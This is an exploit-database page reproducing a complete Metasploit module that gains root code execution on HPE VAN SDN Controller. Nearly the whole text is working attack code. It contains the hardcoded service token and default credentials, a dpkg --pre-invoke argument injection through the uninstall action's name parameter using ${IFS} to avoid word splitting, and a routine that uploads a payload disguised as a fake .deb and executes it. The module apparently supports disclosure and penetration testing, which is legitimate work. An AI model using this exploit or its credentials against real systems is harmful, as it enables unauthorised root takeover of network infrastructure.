HP VAN SDN Controller – Root Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2018-07-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44991/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    # server: grizzly/2.2.16
    HttpFingerprint = {pattern: [/^grizzly/]}
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'HP VAN SDN Controller Root Command Injection',
    'Description'=> %q{
    This module exploits a hardcoded service token or default credentials
    in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.
    
    A root command injection was discovered in the uninstall action's name
    parameter, obviating the need to use sudo for privilege escalation.
    
    If the service token option TOKEN is blank, USERNAME and PASSWORD will
    be used for authentication. An additional login request will be sent.
    },
    'Author' => [
    'Matt Bergin', # Vulnerability discovery and Python exploit
    'wvu'# Metasploit module and additional ~research~
    ],
    'References' => [
    ['EDB', '44951'],
    ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
    ],
    'DisclosureDate' => 'Jun 25 2018',
    'License'=> MSF_LICENSE,
    'Platform' => ['unix', 'linux'],
    'Arch' => [ARCH_X86, ARCH_X64],
    'Privileged' => true,
    'Targets'=> [
    ['Unix In-Memory',
     'Platform'=> 'unix',
     'Arch'=> ARCH_CMD,
     'Type'=> :unix_memory,
     'Payload' => {'BadChars' => ' '}
    ],
    ['Linux Dropper',
     'Platform'=> 'linux',
     'Arch'=> [ARCH_X86, ARCH_X64],
     'Type'=> :linux_dropper
    ]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
    ))
    
    register_options([
    OptString.new('TOKEN',[false, 'Service token', 'AuroraSdnToken37']),
    OptString.new('USERNAME', [false, 'Service username', 'sdn']),
    OptString.new('PASSWORD', [false, 'Service password', 'skyline'])
    ])
    
    register_advanced_options([
    OptString.new('PayloadName', [false, 'Payload name (random if unset)']),
    OptBool.new('ForceExploit',[false, 'Override check result', false])
    ])
    end
    
    def check
    checkcode = CheckCode::Safe
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/',
    'headers' => {'X-Auth-Token' => auth_token},
    'ctype' => 'application/json',
    'data'=> {'action' => 'uninstall'}.to_json
    )
    
    if res.nil?
    checkcode = CheckCode::Unknown
    elsif res && res.code == 400 && res.body.include?('Missing field: name')
    checkcode = CheckCode::Appears
    elsif res && res.code == 401 && res.body =~ /Missing|Invalid token/
    checkcode = CheckCode::Safe
    end
    
    checkcode
    end
    
    def exploit
    if [CheckCode::Safe, CheckCode::Unknown].include?(check)
    if datastore['ForceExploit']
    print_warning('ForceExploit set! Exploiting anyway!')
    else
    fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end
    end
    
    if target['Type'] == :unix_memory
    print_status('Executing command payload')
    execute_command(payload.encoded)
    return
    end
    
    print_status('Uploading payload as fake .deb')
    payload_path = upload_payload
    renamed_path = payload_path.gsub(/\.deb$/, '')
    
    register_file_for_cleanup(renamed_path)
    
    print_status('Renaming payload and executing it')
    execute_command(
    "mv #{payload_path} #{renamed_path} && " \
    "chmod +x #{renamed_path}"
    )
    execute_command(renamed_path)
    end
    
    def upload_payload
    payload_name = datastore['PayloadName'] ?
     "#{datastore['PayloadName']}.deb" :
     "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb"
    payload_path = "/var/lib/sdn/uploads/#{payload_name}"
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/upload',
    'headers' => {'Filename' => payload_name, 'X-Auth-Token' => auth_token},
    'ctype' => 'application/octet-stream',
    'data'=> generate_payload_exe
    )
    
    unless res && res.code == 200 && res.body.include?('{ }')
    fail_with(Failure::UnexpectedReply, "Failed to upload #{payload_path}")
    end
    
    print_good("Uploaded #{payload_path}")
    
    payload_path
    end
    
    def execute_command(cmd)
    # Argument injection in /opt/sdn/admin/uninstall-dpkg
    injection = "--pre-invoke=#{cmd}"
    
    # Ensure we don't undergo word splitting
    injection = injection.gsub(/\s+/, '${IFS}')
    
    print_status("Injecting dpkg -r #{injection}")
    
    send_request_cgi({
    'method'=> 'POST',
    'uri' => '/',
    'headers' => {'X-Auth-Token' => auth_token},
    'ctype' => 'application/json',
    'data'=> {'action' => 'uninstall', 'name' => injection}.to_json
    }, 1)
    end
    
    def auth_token
    return @auth_token if @auth_token
    
    token= datastore['TOKEN']
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    
    if token && !token.empty?
    print_status("Authenticating with service token #{token}")
    @auth_token = token
    return @auth_token
    end
    
    print_status("Authenticating with creds #{username}:#{password}")
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/sdn/ui/app/login',
    'rport' => 8443,
    'vars_post' => {'username' => username, 'password' => password}
    )
    
    unless res && res.get_cookies.include?('X-Auth-Token')
    print_error('Invalid username and/or password specified')
    return
    end
    
    @auth_token = res.get_cookies_parsed['X-Auth-Token'].first
    print_good("Retrieved auth token #{@auth_token}")
    
    @auth_token
    end
    
    end